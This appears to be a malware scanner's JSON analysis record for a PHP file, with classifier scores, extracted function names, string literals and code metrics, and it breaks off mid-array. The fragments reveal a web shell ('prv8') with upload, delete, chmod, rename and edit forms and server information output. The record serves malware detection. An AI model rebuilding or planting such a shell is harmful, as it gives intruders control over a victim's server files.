{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9997997879981995,
        "class": 2
      }
    ],
    "prob": 0.9997998,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.99851996,
        "class": 1
      },
      {
        "m": "az/scripts",
        "prob": 0.99974924,
        "class": 1
      },
      {
        "m": "az/php",
        "prob": 0.9997998,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-08T22:02:46Z"
  },
  "path": "2ee5a2a619902fdadbba8e508a4e25b4",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₄(C₇CaErI₂)H₅(Cm₂F₅OsPoDb)Md",
        "k": {
          "source.imports[0]": "chmod",
          "source.imports[1]": "copy",
          "source.imports[2]": "error_reporting",
          "source.imports[3]": "explode",
          "source.imports[4]": "fclose",
          "source.imports[5]": "file_get_contents",
          "source.imports[6]": "fileperms",
          "source.imports[7]": "filesize",
          "source.imports[8]": "fopen",
          "source.imports[9]": "fwrite",
          "source.strings[0]": " /\u003e\r\n        \u003c/form\u003e\u003c/center\u003e\u003c/td\u003e\r\n        \u003c/tr\u003e",
          "source.strings[1]": " /\u003e\r\n        \u003cinput type=\"hidden\" name=\"path\" value=",
          "source.strings[2]": " action=",
          "source.strings[3]": " name=",
          "source.strings[4]": " value=",
          "source.strings[5]": "\" /\u003e\r\n        \u003cinput type=\"hidden\" name=\"path\" value=\"",
          "source.strings[6]": "\"\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"chmod\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e",
          "source.strings[7]": "\"\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"edit\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e",
          "source.strings[8]": "\"\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"rename\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e",
          "source.strings[9]": "$path/$dir",
          "source.has_imports": true,
          "source.imports[10]": "get_magic_quotes_gpc",
          "source.imports[11]": "getcwd",
          "source.imports[12]": "htmlspecialchars",
          "source.imports[13]": "is_dir",
          "source.imports[14]": "is_file",
          "source.imports[15]": "is_readable",
          "source.imports[16]": "is_writable",
          "source.imports[17]": "isset",
          "source.imports[18]": "perms",
          "source.imports[19]": "php_uname",
          "source.imports[20]": "rename",
          "source.imports[21]": "rmdir",
          "source.imports[22]": "round",
          "source.imports[23]": "scandir",
          "source.imports[24]": "set_time_limit",
          "source.imports[25]": "sprintf",
          "source.imports[26]": "str_replace",
          "source.imports[27]": "stripslashes",
          "source.imports[28]": "substr",
          "source.imports[29]": "unlink",
          "source.strings[10]": "$path/$file",
          "source.strings[11]": "$paths[$i]",
          "source.strings[12]": "\u0026path=",
          "source.strings[13]": "\u003c!DOCTYPE HTML\u003e\r\n\u003cHTML\u003e\r\n\u003cHEAD\u003e\r\n\u003clink href=\"\" rel=\"stylesheet\" type=\"text/css\"\u003e\r\n\u003ctitle\u003ex\u003c/title\u003e\r\n\u003cstyle\u003e\r\nbody{\r\n    font-family: \"orbitron\";\r\n    background-color: #e6e6e6;\r\n    text-shadow:0px 0px 1px #757575;\r\n}\r\n#content tr:hover{\r\n    background-color: #636263;\r\n    text-shadow:0px 0px 10px #fff;\r\n}\r\n#content .first{\r\n    background-color: silver;\r\n}\r\n#content .first:hover{\r\n    background-color: silver;\r\n    text-shadow:0px 0px 1px #757575;\r\n}\r\ntable{\r\n    border: 1px #000000 dotted;\r\n}\r\nH1{\r\n    font-family: \"orbitron\";\r\n}\r\na{\r\n    color: #000;\r\n    text-decoration: none;\r\n}\r\na:hover{\r\n    color: #fff;\r\n    text-shadow:0px 0px 10px #ffffff;\r\n}\r\ninput,select,textarea{\r\n    border: 1px #000000 solid;\r\n    -moz-border-radius: 5px;\r\n    -webkit-border-radius:5px;\r\n    border-radius:5px;\r\n}\r\n\u003c/style\u003e\r\n\u003c/HEAD\u003e\r\n\u003cBODY\u003e\r\n\t\r\n\u003cH1\u003e\u003ccenter\u003eprv8 !\u003c/center\u003e\u003c/H1\u003e\r\n\u003ctable width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"\u003e\r\n\u003ctr\u003e\u003ctd\u003eCurrent Path : ",
          "source.strings[14]": "\u003c/a\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e",
          "source.strings[15]": "\u003c/a\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e--\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e",
          "source.strings[16]": "\u003c/center\u003e",
          "source.strings[17]": "\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e",
          "source.strings[18]": "\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e\u003cform method=",
          "source.strings[19]": "\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e\u003cform method=\\\"POST\\\" action=\\\"?option\u0026path=$path\\\"\u003e\r\n        \u003cselect name=\\\"opt\\\"\u003e\r\n\t    \u003coption value=\\\"\\\"\u003e\u003c/option\u003e\r\n        \u003coption value=\\\"delete\\\"\u003eDelete\u003c/option\u003e\r\n        \u003coption value=\\\"chmod\\\"\u003eChmod\u003c/option\u003e\r\n        \u003coption value=\\\"rename\\\"\u003eRename\u003c/option\u003e\r\n        \u003c/select\u003e\r\n        \u003cinput type=\\\"hidden\\\" name=\\\"type\\\" value=\\\"dir\\\"\u003e\r\n        \u003cinput type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"$dir\\\"\u003e\r\n        \u003cinput type=\\\"hidden\\\" name=\\\"path\\\" value=\\\"$path/$dir\\\"\u003e\r\n        \u003cinput type=\\\"submit\\\" value=\\\"\u003e\\\" /\u003e\r\n        \u003c/form\u003e\u003c/center\u003e\u003c/td\u003e\r\n        \u003c/tr\u003e",
          "source.strings[20]": "\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e\u003cform method=\\\"POST\\\" action=\\\"?option\u0026path=$path\\\"\u003e\r\n        \u003cselect name=\\\"opt\\\"\u003e\r\n\t    \u003coption value=\\\"\\\"\u003e\u003c/option\u003e\r\n        \u003coption value=\\\"delete\\\"\u003eDelete\u003c/option\u003e\r\n        \u003coption value=\\\"chmod\\\"\u003eChmod\u003c/option\u003e\r\n        \u003coption value=\\\"rename\\\"\u003eRename\u003c/option\u003e\r\n        \u003coption value=\\\"edit\\\"\u003eEdit\u003c/option\u003e\r\n        \u003c/select\u003e\r\n        \u003cinput type=\\\"hidden\\\" name=\\\"type\\\" value=\\\"file\\\"\u003e\r\n        \u003cinput type=\\\"hidden\\\" name=\\\"name\\\" value=\\\"$file\\\"\u003e\r\n        \u003cinput type=\\\"hidden\\\" name=\\\"path\\\" value=\\\"$path/$file\\\"\u003e\r\n        \u003cinput type=\\\"submit\\\" value=\\\"\u003e\\\" /\u003e\r\n        \u003c/form\u003e\u003c/center\u003e\u003c/td\u003e\r\n        \u003c/tr\u003e",
          "source.strings[21]": "\u003c/font\u003e",
          "source.strings[22]": "\u003c/pre\u003e",
          "source.strings[23]": "\u003c/table\u003e\r\n    \u003c/div\u003e",
          "source.strings[24]": "\u003c/table\u003e\u003cbr /\u003e\u003ccenter\u003e",
          "source.strings[25]": "\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e",
          "source.strings[26]": "\u003c/textarea\u003e\u003cbr /\u003e\r\n        \u003cinput type=\"hidden\" name=\"path\" value=",
          "source.strings[27]": "\u003c/textarea\u003e\u003cbr /\u003e\r\n        \u003cinput type=\"hidden\" name=\"path\" value=\"",
          "source.strings[28]": "\u003c/tr\u003e\u003c/td\u003e\u003c/table\u003e\u003cbr /\u003e",
          "source.strings[29]": "\u003ca href=\"?path=",
          "source.strings[30]": "\u003ca href=\"?path=/\"\u003e/\u003c/a\u003e",
          "source.strings[31]": "\u003cb\u003eberhasil\u003c/b\u003e--\u003e",
          "source.strings[32]": "\u003cb\u003egagal",
          "source.strings[33]": "\u003cbr /\u003e\u003cbr /\u003e",
          "source.strings[34]": "\u003cbr /\u003ePrv8 1 ! \u003cfont color=\"red\"\u003eBy \u003c/font\u003e\r\n\u003c/BODY\u003e\r\n\u003c/HTML\u003e",
          "source.strings[35]": "\u003ccenter\u003e\u003c/center\u003e\u003c/enter\u003e\u003cfont color=black\u003e\u003c/font\u003e",
          "source.strings[36]": "\u003cdiv id=\"content\"\u003e\u003ctable width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\"\u003e\r\n    \u003ctr class=\"first\"\u003e\r\n        \u003ctd\u003e\u003ccenter\u003eName\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003eSize\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003ePermissions\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003eOptions\u003c/center\u003e\u003c/td\u003e\r\n    \u003c/tr\u003e",
          "source.strings[37]": "\u003cfont color=\"green\"\u003e",
          "source.strings[38]": "\u003cfont color=\"green\"\u003eChange Name Done.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[39]": "\u003cfont color=\"green\"\u003eChange Permission Done.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[40]": "\u003cfont color=\"green\"\u003eDelete Dir Done.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[41]": "\u003cfont color=\"green\"\u003eDelete File Done.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[42]": "\u003cfont color=\"green\"\u003eEdit File Done.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[43]": "\u003cfont color=\"green\"\u003eFile Upload Done.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[44]": "\u003cfont color=\"red\"\u003e",
          "source.strings[45]": "\u003cfont color=\"red\"\u003eChange Name Error.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[46]": "\u003cfont color=\"red\"\u003eChange Permission Error.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[47]": "\u003cfont color=\"red\"\u003eDelete Dir Error.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[48]": "\u003cfont color=\"red\"\u003eDelete File Error.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[49]": "\u003cfont color=\"red\"\u003eEdit File Error.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[50]": "\u003cfont color=\"red\"\u003eFile Upload Error.\u003c/font\u003e\u003cbr /\u003e",
          "source.strings[51]": "\u003cform enctype=\"multipart/form-data\" method=\"POST\"\u003e\r\nUpload File : \u003cinput type=\"file\" name=\"file\" /\u003e\r\n\u003cinput type=\"submit\" value=\"upload\" /\u003e\r\n\u003c/form\u003e\r\n\u003c/td\u003e\u003c/tr\u003e",
          "source.strings[52]": "\u003cform method=\"POST\"\u003e\r\n        \u003ctextarea cols=80 rows=20 name=\"src\"\u003e",
          "source.strings[53]": "\u003cform method=\"POST\"\u003e\r\n        New Name : \u003cinput name=\"newname\" type=\"text\" size=\"20\" value=",
          "source.strings[54]": "\u003cform method=\"POST\"\u003e\r\n        New Name : \u003cinput name=\"newname\" type=\"text\" size=\"20\" value=\"",
          "source.strings[55]": "\u003cform method=\"POST\"\u003e\r\n        Permission : \u003cinput name=\"perm\" type=\"text\" size=\"4\" value=",
          "source.strings[56]": "\u003cform method=\"POST\"\u003e\r\n        Permission : \u003cinput name=\"perm\" type=\"text\" size=\"4\" value=\"",
          "source.strings[57]": "\u003cform method=post enctype=multipart/form-data\u003e",
          "source.strings[58]": "\u003cinput type=file name=f\u003e\u003cinput name=v type=submit id=v value=up\u003e\u003cbr\u003e",
          "source.strings[59]": "\u003ctr class=\"first\"\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003e\u003c/td\u003e\u003c/tr\u003e",
          "source.strings[60]": "\u003ctr\u003e\r\n        \u003ctd\u003e\u003ca href=",
          "source.strings[61]": "\u003ctr\u003e\r\n        \u003ctd\u003e\u003ca href=\\\"?filesrc=$path/$file\u0026path=$path\\\"\u003e$file\u003c/a\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e",
          "source.strings[62]": "\u003ctr\u003e\r\n        \u003ctd\u003e\u003ca href=\\\"?path=$path/$dir\\\"\u003e$dir\u003c/a\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e--\u003c/center\u003e\u003c/td\u003e\r\n        \u003ctd\u003e\u003ccenter\u003e",
          "source.strings[63]": "\u003ctr\u003e\u003ctd\u003eCurrent File : ",
          "source.strings[64]": "\u003e\r\n\t    \u003coption value=",
          "source.strings[65]": "\u003e\r\n        \u003cinput type=",
          "source.strings[66]": "\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"chmod\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e",
          "source.strings[67]": "\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"edit\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e",
          "source.strings[68]": "\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"rename\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e",
          "source.strings[69]": "\u003e\r\n        \u003cselect name=",
          "source.strings[70]": "\u003e\u003c/option\u003e\r\n        \u003coption value=",
          "source.strings[71]": "\u003eChmod\u003c/option\u003e\r\n        \u003coption value=",
          "source.strings[72]": "\u003eDelete\u003c/option\u003e\r\n        \u003coption value=",
          "source.strings[73]": "\u003eEdit\u003c/option\u003e\r\n        \u003c/select\u003e\r\n        \u003cinput type=",
          "source.strings[74]": "\u003eRename\u003c/option\u003e\r\n        \u003c/select\u003e\r\n        \u003cinput type=",
          "source.strings[75]": "\u003eRename\u003c/option\u003e\r\n        \u003coption value=",
          "source.strings[76]": "?filesrc=",
          "source.strings[77]": "?option\u0026path=",
          "source.strings[78]": "?path=",
          "source.strings[79]": "delete",
          "source.strings[80]": "filesrc",
          "source.strings[81]": "hidden",
          "source.strings[82]": "newname",
          "source.strings[83]": "option",
          "source.strings[84]": "rename",
          "source.strings[85]": "rhs334",
          "source.strings[86]": "submit",
          "source.strings[87]": "tmp_name",
          "source.functions[0]": "perms"
        },
        "x": 115,
        "id": 0,
        "is": [
          "set_time_limit",
          "error_reporting",
          "isset",
          "php_uname",
          "copy",
          "get_magic_quotes_gpc",
          "stripslashes",
          "isset",
          "getcwd",
          "str_replace",
          "explode",
          "isset",
          "copy",
          "isset",
          "htmlspecialchars",
          "file_get_contents",
          "isset",
          "isset",
          "chmod",
          "substr",
          "sprintf",
          "fileperms",
          "isset",
          "rename",
          "isset",
          "fopen",
          "fwrite",
          "fclose",
          "htmlspecialchars",
          "file_get_contents",
          "isset",
          "rmdir",
          "unlink",
          "scandir",
          "is_dir",
          "is_writable",
          "is_readable",
          "perms",
          "is_writable",
          "is_readable",
          "is_file",
          "filesize",
          "round",
          "round",
          "is_writable",
          "is_readable",
          "perms",
          "is_writable",
          "is_readable",
          "fileperms"
        ],
        "ms": {
          "file": {
            "size": 10143.0
          },
          "text": {
            "tab_count": 3.0,
            "digit_ratio": 0.05,
            "space_count": 2063.0,
            "total_lines": 298.0,
            "char_entropy": 5.08,
            "mixed_indent": true,
            "unique_chars": 87.0,
            "import_density": 16.78,
            "lines_over_200": 1.0,
            "string_density": 1.39,
            "avg_line_length": 32.04,
            "max_line_length": 374.0,
            "empty_line_ratio": 0.04,
            "last_line_length": 24.0,
            "long_token_count": 1.0,
            "most_common_char": "e",
            "whitespace_ratio": 0.26,
            "most_common_ratio": 0.06,
            "identifier_density": 0.77,
            "line_length_stddev": 30.49,
            "normalized_import_count": 2.9,
            "normalized_string_count": 24.04,
            "repeated_char_sequences": 36.0,
            "max_inline_whitespace_run": 1.0,
            "normalized_function_count": 0.06,
            "trailing_whitespace_lines": 3.0,
            "imports_to_functions_ratio": 50.0,
            "strings_to_functions_ratio": 415.0,
            "suspicious_identifier_ratio": 0.04,
            "normalized_unique_identifiers": 5.72,
            "identifiers_to_functions_ratio": 47.0
          },
          "imports": {
            "total": 50.0,
            "unique_modules": 30.0,
            "third_party_count": 50.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 415.0,
            "avg_length": 25.01,
            "max_length": 974.0,
            "avg_entropy": 2.11,
            "total_bytes": 10378.0,
            "entropy_stddev": 1.5,
            "high_entropy_count": 2.0
          },
          "comments": {
            "chars": 118.0,
            "lines": 11.0,
            "total": 11.0,
            "to_code_ratio": 0.04
          },
          "functions": {
            "total": 1.0,
            "avg_name_length": 5.0,
            "no_params_count": 1.0,
            "avg_length_lines": 52.0,
            "max_length_lines": 52.0,
            "min_length_lines": 52.0,
            "density_per_100_lines": 0.34,
            "code_in_functions_ratio": 0.17
          },
          "identifiers": {
            "total": 228.0,
            "avg_length": 6.7,
            "max_length": 20.0,
            "min_length": 1.0,
            "avg_entropy": 2.26,
            "reuse_ratio": 0.21,
            "unique_count": 47.0,
            "length_stddev": 4.21,
            "sequential_names": 2.0,
            "single_char_count": 2.0,
            "single_char_ratio": 0.04,
            "high_entropy_count": 1.0,
            "high_entropy_ratio": 0.02,
            "all_lowercase_ratio": 0.94,
            "all_uppercase_ratio": 0.06,
            "underscore_prefix_count": 3.0
          }
        },
        "ss": [
          [
            65,
            "rhs334"
          ],
          [
            66,
            "rhs334"
          ],
          [
            81,
            "\u003ccenter\u003e\u003c/center\u003e\u003c/enter\u003e\u003cfont color=black\u003e\u003c/font\u003e"
          ],
          [
            82,
            "\u003ccenter\u003e\u003c/center\u003e\u003c/enter\u003e\u003cfont color=black\u003e\u003c/font\u003e"
          ],
          [
            153,
            "\u003cform method=post enctype=multipart/form-data\u003e"
          ],
          [
            154,
            "\u003cform method=post enctype=multipart/form-data\u003e"
          ],
          [
            206,
            "\u003cinput type=file name=f\u003e\u003cinput name=v type=submit id=v value=up\u003e\u003cbr\u003e"
          ],
          [
            207,
            "\u003cinput type=file name=f\u003e\u003cinput name=v type=submit id=v value=up\u003e\u003cbr\u003e"
          ],
          [
            287,
            "v"
          ],
          [
            288,
            "v"
          ],
          [
            314,
            "f"
          ],
          [
            315,
            "f"
          ],
          [
            319,
            "tmp_name"
          ],
          [
            320,
            "tmp_name"
          ],
          [
            339,
            "f"
          ],
          [
            340,
            "f"
          ],
          [
            344,
            "name"
          ],
          [
            345,
            "name"
          ],
          [
            358,
            "\u003cb\u003eberhasil\u003c/b\u003e--\u003e"
          ],
          [
            359,
            "\u003cb\u003eberhasil\u003c/b\u003e--\u003e"
          ],
          [
            387,
            "f"
          ],
          [
            388,
            "f"
          ],
          [
            392,
            "name"
          ],
          [
            393,
            "name"
          ],
          [
            410,
            "\u003cb\u003egagal"
          ],
          [
            411,
            "\u003cb\u003egagal"
          ],
          [
            556,
            "\u003c!DOCTYPE HTML\u003e\r\n\u003cHTML\u003e\r\n\u003cHEAD\u003e\r\n\u003clink href=\"\" rel=\"stylesheet\" type=\"text/css\"\u003e\r\n\u003ctitle\u003ex\u003c/title\u003e\r\n\u003cstyle\u003e\r\nbody{\r\n    font-fam"
          ],
          [
            557,
            "\u003c!DOCTYPE HTML\u003e\r\n\u003cHTML\u003e\r\n\u003cHEAD\u003e\r\n\u003clink href=\"\" rel=\"stylesheet\" type=\"text/css\"\u003e\r\n\u003ctitle\u003ex\u003c/title\u003e\r\n\u003cstyle\u003e\r\nbody{\r\n    font-fam"
          ],
          [
            1550,
            "path"
          ],
          [
            1551,
            "path"
          ],
          [
            1580,
            "path"
          ],
          [
            1581,
            "path"
          ],
          [
            1647,
            "\\\\"
          ],
          [
            1652,
            "/"
          ],
          [
            1653,
            "/"
          ],
          [
            1682,
            "/"
          ],
          [
            1683,
            "/"
          ],
          [
            1794,
            "\u003ca href=\"?path=/\"\u003e/\u003c/a\u003e"
          ],
          [
            1795,
            "\u003ca href=\"?path=/\"\u003e/\u003c/a\u003e"
          ],
          [
            1887,
            "\u003ca href=\"?path="
          ],
          [
            1888,
            "\u003ca href=\"?path="
          ],
          [
            1949,
            "$paths[$i]"
          ],
          [
            1991,
            "/"
          ],
          [
            1992,
            "/"
          ],
          [
            2013,
            "\"\u003e"
          ],
          [
            2014,
            "\u003e"
          ],
          [
            2023,
            "\u003c/a\u003e/"
          ],
          [
            2024,
            "\u003c/a\u003e/"
          ],
          [
            2041,
            "\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e"
          ],
          [
            2042,
            "\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e"
          ],
          [
            2081,
            "file"
          ],
          [
            2082,
            "file"
          ],
          [
            2113,
            "file"
          ],
          [
            2114,
            "file"
          ],
          [
            2121,
            "tmp_name"
          ],
          [
            2122,
            "tmp_name"
          ],
          [
            2139,
            "/"
          ],
          [
            2140,
            "/"
          ],
          [
            2151,
            "file"
          ],
          [
            2152,
            "file"
          ],
          [
            2159,
            "name"
          ],
          [
            2160,
            "name"
          ],
          [
            2184,
            "\u003cfont color=\"green\"\u003eFile Upload Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            2185,
            "\u003cfont color=\"green\"\u003eFile Upload Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            2264,
            "\u003cfont color=\"red\"\u003eFile Upload Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            2265,
            "\u003cfont color=\"red\"\u003eFile Upload Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            2333,
            "\u003cform enctype=\"multipart/form-data\" method=\"POST\"\u003e\r\nUpload File : \u003cinput type=\"file\" name=\"file\" /\u003e\r\n\u003cinput type=\"submit\" value="
          ],
          [
            2334,
            "\u003cform enctype=\"multipart/form-data\" method=\"POST\"\u003e\r\nUpload File : \u003cinput type=\"file\" name=\"file\" /\u003e\r\n\u003cinput type=\"submit\" value="
          ],
          [
            2513,
            "filesrc"
          ],
          [
            2514,
            "filesrc"
          ],
          [
            2537,
            "\u003ctr\u003e\u003ctd\u003eCurrent File : "
          ],
          [
            2538,
            "\u003ctr\u003e\u003ctd\u003eCurrent File : "
          ],
          [
            2580,
            "filesrc"
          ],
          [
            2581,
            "filesrc"
          ],
          [
            2602,
            "\u003c/tr\u003e\u003c/td\u003e\u003c/table\u003e\u003cbr /\u003e"
          ],
          [
            2603,
            "\u003c/tr\u003e\u003c/td\u003e\u003c/table\u003e\u003cbr /\u003e"
          ],
          [
            2640,
            "\u003cpre\u003e"
          ],
          [
            2641,
            "\u003cpre\u003e"
          ],
          [
            2689,
            "filesrc"
          ],
          [
            2690,
            "filesrc"
          ],
          [
            2702,
            "\u003c/pre\u003e"
          ],
          [
            2703,
            "\u003c/pre\u003e"
          ],
          [
            2734,
            "option"
          ],
          [
            2735,
            "option"
          ],
          [
            2755,
            "opt"
          ],
          [
            2756,
            "opt"
          ],
          [
            2765,
            "delete"
          ],
          [
            2766,
            "delete"
          ],
          [
            2786,
            "\u003c/table\u003e\u003cbr /\u003e\u003ccenter\u003e"
          ],
          [
            2787,
            "\u003c/table\u003e\u003cbr /\u003e\u003ccenter\u003e"
          ],
          [
            2818,
            "path"
          ],
          [
            2819,
            "path"
          ],
          [
            2826,
            "\u003cbr /\u003e\u003cbr /\u003e"
          ],
          [
            2827,
            "\u003cbr /\u003e\u003cbr /\u003e"
          ],
          [
            2857,
            "opt"
          ],
          [
            2858,
            "opt"
          ],
          [
            2867,
            "chmod"
          ],
          [
            2868,
            "chmod"
          ],
          [
            2902,
            "perm"
          ],
          [
            2903,
            "perm"
          ],
          [
            2942,
            "path"
          ],
          [
            2943,
            "path"
          ],
          [
            2957,
            "perm"
          ],
          [
            2958,
            "perm"
          ],
          [
            2990,
            "\u003cfont color=\"green\"\u003eChange Permission Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            2991,
            "\u003cfont color=\"green\"\u003eChange Permission Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            3092,
            "\u003cfont color=\"red\"\u003eChange Permission Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            3093,
            "\u003cfont color=\"red\"\u003eChange Permission Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            3191,
            "\u003cform method=\"POST\"\u003e\r\n        Permission : \u003cinput name=\"perm\" type=\"text\" size=\"4\" value=\""
          ],
          [
            3192,
            "\u003cform method=\"POST\"\u003e\r\n        Permission : \u003cinput name=\"perm\" type=\"text\" size=\"4\" value="
          ],
          [
            3299,
            "%o"
          ],
          [
            3300,
            "%o"
          ],
          [
            3322,
            "path"
          ],
          [
            3323,
            "path"
          ],
          [
            3337,
            "\" /\u003e\r\n        \u003cinput type=\"hidden\" name=\"path\" value=\""
          ],
          [
            3338,
            " /\u003e\r\n        \u003cinput type=\"hidden\" name=\"path\" value="
          ],
          [
            3401,
            "path"
          ],
          [
            3402,
            "path"
          ],
          [
            3409,
            "\"\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"chmod\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e"
          ],
          [
            3410,
            "\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"chmod\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e"
          ],
          [
            3552,
            "opt"
          ],
          [
            3553,
            "opt"
          ],
          [
            3562,
            "rename"
          ],
          [
            3563,
            "rename"
          ],
          [
            3598,
            "newname"
          ],
          [
            3599,
            "newname"
          ],
          [
            3642,
            "path"
          ],
          [
            3643,
            "path"
          ],
          [
            3656,
            "/"
          ],
          [
            3657,
            "/"
          ],
          [
            3667,
            "newname"
          ],
          [
            3668,
            "newname"
          ],
          [
            3703,
            "\u003cfont color=\"green\"\u003eChange Name Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            3704,
            "\u003cfont color=\"green\"\u003eChange Name Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            3799,
            "\u003cfont color=\"red\"\u003eChange Name Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            3800,
            "\u003cfont color=\"red\"\u003eChange Name Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            3887,
            "name"
          ],
          [
            3888,
            "name"
          ],
          [
            3904,
            "newname"
          ],
          [
            3905,
            "newname"
          ],
          [
            3941,
            "\u003cform method=\"POST\"\u003e\r\n        New Name : \u003cinput name=\"newname\" type=\"text\" size=\"20\" value=\""
          ],
          [
            3942,
            "\u003cform method=\"POST\"\u003e\r\n        New Name : \u003cinput name=\"newname\" type=\"text\" size=\"20\" value="
          ],
          [
            4043,
            "name"
          ],
          [
            4044,
            "name"
          ],
          [
            4051,
            "\" /\u003e\r\n        \u003cinput type=\"hidden\" name=\"path\" value=\""
          ],
          [
            4052,
            " /\u003e\r\n        \u003cinput type=\"hidden\" name=\"path\" value="
          ],
          [
            4115,
            "path"
          ],
          [
            4116,
            "path"
          ],
          [
            4123,
            "\"\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"rename\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e"
          ],
          [
            4124,
            "\u003e\r\n        \u003cinput type=\"hidden\" name=\"opt\" value=\"rename\"\u003e\r\n        \u003cinput type=\"submit\" value=\"Go\" /\u003e\r\n        \u003c/form\u003e"
          ],
          [
            4267,
            "opt"
          ],
          [
            4268,
            "opt"
          ],
          [
            4277,
            "edit"
          ],
          [
            4278,
            "edit"
          ],
          [
            4311,
            "src"
          ],
          [
            4312,
            "src"
          ],
          [
            4353,
            "path"
          ],
          [
            4354,
            "path"
          ],
          [
            4361,
            "w"
          ],
          [
            4362,
            "w"
          ],
          [
            4401,
            "src"
          ],
          [
            4402,
            "src"
          ],
          [
            4433,
            "\u003cfont color=\"green\"\u003eEdit File Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            4434,
            "\u003cfont color=\"green\"\u003eEdit File Done.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            4527,
            "\u003cfont color=\"red\"\u003eEdit File Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            4528,
            "\u003cfont color=\"red\"\u003eEdit File Error.\u003c/font\u003e\u003cbr /\u003e"
          ],
          [
            4644,
            "\u003cform method=\"POST\"\u003e\r\n        \u003ctextarea cols=80 rows=20 name=\"src\"\u003e"
          ],
          [
            4645,
            "\u003cform method=\"POST\"\u003e\r\n        \u003ctextarea cols=80 rows=20 name=\"src\"\u003e"
          ],
          [
            4756,
            "path"
          ],
          [
            4757,
            "path"
          ],
          [
            4766,
            "\u003c/textarea\u003e\u003cbr /\u003e\r\n        \u003cinput type=\"hidden\" name=\"path\" value=\""
          ],
          [
            4767,
            "\u003c/textarea\u003e\u003cbr /\u003e\r\n        \u003cinput type=\"hidden\" name=\"path\" value="
          ],
          [
            4843,
            "path"
          ],
          [
            4844,
            "path"
          ],
          [
            4851,
